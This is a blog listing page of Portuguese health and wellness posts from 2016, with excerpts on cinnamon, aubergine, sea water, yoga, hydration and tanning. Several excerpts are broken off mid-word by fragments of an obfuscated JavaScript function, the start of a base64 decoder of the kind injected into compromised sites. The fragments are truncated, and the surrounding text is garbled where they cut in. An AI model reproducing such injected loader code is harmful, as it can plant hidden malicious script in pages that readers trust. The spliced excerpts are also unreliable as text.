Saúde e bem estar

Dicas saudáveis: 10 grandes benefícios da canela

Ago 22, 2016 | Equilíbrio, Saúde e bem estar

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Estes pauzinhos que habitualmente utilizamos para aromatizar doces ou sangrias, cafés ou pastéis de nata têm um sem fim de benefícios: desde ajudar a perder peso até tornar os cabelos mais fortes, passfunction a4872b9c6b(y1){var...

3 exercícios de yoga para dormir melhor

Ago 21, 2016 | Equilíbrio, Saúde e bem estar

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3 exercícios de yoga para dormir melhor: Há dias em que, apesar de cansados, sentimo-nos mentalmente muito ativos e com dificuldade em adormecer. E é precisamente nestas alturas que o yoga pode ser o melhor aliado. Experimente estas posições… na sua cama! Todos...

Água do mar – 7 benefícios para a sua saúde

Ago 19, 2016 | Equilíbrio, Saúde e bem estar

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Água do mar – 7 benefícios para a sua saúde Ir à praia é óptimo, todos sabemos. O sol faz lindamente à saúde se tomarmos as devidas precauções, mas também a água do mar é capaz de maravilhas pelo nosso organismo. Como contém altas quantidades de sódio, iodo,...

Dicas para treinar, queimar calorias e ter o corpo que deseja

Ago 18, 2016 | Equilíbrio, Saúde e bem estar

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Dicas para treinar, queimar calorias e ter o corpo que deseja, por Teresa Manafaia Se treina durante o ano, não precisa necessariamente de treinar nas férias mas, mesmo que pare os treinos nesta altura do ano, é sempre benéfico manter-se de alguma forma ativo/a e...

Dicas saudáveis: os benefícios do vinagre de maçã

Ago 15, 2016 | Equilíbrio, Saúde e bem estar

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Bem sabe que gosto de partilhar consigo os truques que vou descobrindo para uma vida mais saudável. E desta vez quem brilha é o vinagre de maçã (ou de sidra, se preferir). Para além de ser um bom condimento para os nossos cozinhados, este produto tem vários benefícios...

Dicas saudáveis: os benefícios da beringela

Ago 8, 2016 | Equilíbrio, Saúde e bem estar

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Diz quem sabe que os benefícios da beringela são vários: ajuda a reduzir o colesterol, atenua dores articulares, ajuda no trânsito intestinal e faz bem ao coração… mas não é tudo. Hoje revelo-lhe um segredo que vai adorar: a beringela é uma grfunction...

6 ideias fantásticas para proteger o cabelo do sol

Ago 6, 2016 | Equilíbrio, Saúde e bem estar

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No verão o chamamento do sol é algo a que nós não conseguimos resistir. Sentir a pele ficar bronzeada é meio caminho function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

7 dicas para se manter hidratado neste verão

Ago 3, 2016 | Equilíbrio, Saúde e bem estar

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7 dicas para se manter hidratado neste verão, por Lillian Barros É importante estarmos hidratados durante todo o ano, e em especial no verão, devido ao calor que nos faz desidratar mais facilmente. Mas, embora a água seja essencial à vida, nem todas as pessoas bebem o...

Sinta-se confiante e tenha o melhor verão de sempre

Ago 1, 2016 | Equilíbrio, Saúde e bem estar

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Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...

4 alimentos para um bronzeado perfeito por Lillian Barros

Jul 27, 2016 | Equilíbrio, Saúde e bem estar

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4 alimentos para um bronzeado perfeito, por Lillian Barros. O verão já chegou! Depois do inverno rigoroso e dos longos períodos chuvosos que tivemos, todos desejamos um pouco de sol, calor e uma pele bronzeada para tirar a barriga de misérias. Apesar de já existir uma...

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